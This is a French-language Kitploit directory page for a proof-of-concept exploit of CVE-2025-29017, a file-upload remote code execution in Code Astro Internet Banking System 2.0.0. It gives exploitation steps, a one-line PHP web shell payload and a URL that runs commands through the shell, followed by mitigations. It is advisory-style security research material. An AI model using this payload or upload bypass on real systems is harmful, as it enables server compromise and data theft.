Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-29017 — Exploit de preuve de concept pour CVE-2025-29017, démontrant une exécution de code à distance via le téléchargement d'un fichier malveillant dans Code Astro Internet Banking System 2.0.0. | Kitploit
Outils/GitHubGitHub/b1tm4r/cve-2025-29017
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed Teaming
GitHubb1tm4r/cve-2025-29017

CVE-2025-29017

Exploit de preuve de concept pour CVE-2025-29017, démontrant une exécution de code à distance via le téléchargement d'un fichier malveillant dans Code Astro Internet Banking System 2.0.0.

Voir le dépôt
12il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-29017 - Internet Banking System 2.0.0 Exécution de code à distance via le téléversement de photo de profil

Description

Une vulnérabilité d'exécution de code à distance (RCE) existe dans Code Astro Internet Banking System 2.0.0 en raison d'une validation incorrecte du téléversement de fichiers dans le paramètre profile_pic du fichier pages_view_client.php. Les attaquants peuvent contourner les contrôles de sécurité en modifiant la requête de téléversement, ce qui conduit à l'exécution de code arbitraire.

Composant affecté

  • Paramètre profile_pic dans pages_view_client.php
  • La fonction de téléversement permet l'exécution de fichiers PHP malveillants

Étapes d'exploitation

  1. Accédez aux paramètres du profil utilisateur et recherchez une nouvelle photo de profil.



  1. Interceptez la requête de téléversement de la photo de profil à l'aide d'un outil comme Burp Suite.


  1. Modifiez le fichier pour lui donner une double extension (.jpeg.php), modifiez l'en-tête Content-Type en application/x-php et ajoutez le code PHP malveillant :
root@kitploit:~
<?php system($_GET['cmd']); ?>



  1. Vous pouvez vérifier si le fichier a été téléversé dans /admin/dist/img/ :
root@kitploit:~
http://IP:PORT/InternetBanking-php/admin/dist/img/image.jpeg.php?cmd=type C:\Users\file.txt


Impact

  • Compromission totale du serveur
  • Vol de données
  • Élévation de privilèges

Atténuation

  • Restreignez les téléversements aux seuls formats d'image et vérifiez les types MIME.
  • Assainissez les noms de fichiers et bloquez les fichiers contenant du code exécutable.
  • Stockez les fichiers téléversés en dehors de la racine web.

Références

  • OWASP File Upload Security
Télécharger l’outil